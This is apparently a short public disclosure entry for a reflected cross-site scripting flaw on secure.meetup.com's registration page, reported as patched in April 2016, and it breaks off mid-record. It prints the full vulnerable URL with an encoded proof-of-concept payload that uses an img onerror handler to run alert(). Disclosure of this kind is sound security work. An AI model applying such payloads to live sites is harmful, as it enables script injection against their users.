secure.meetup.com XSS vulnerability

Vulnerable URL: https://secure.meetup.com/register/?title=%3C/title%3E%3C/script/%22-alert%280%29-%22--%3E%3Cimg/onerror=%27;alert%28/XSSPOSED/%29;%27src=1%3E Details: Description| Value ---|--- Patched:| Yes, at 03.04.2016 Latest check for patch:| 03.04.2016 01:30 GMT Vulnerability type:| XSS...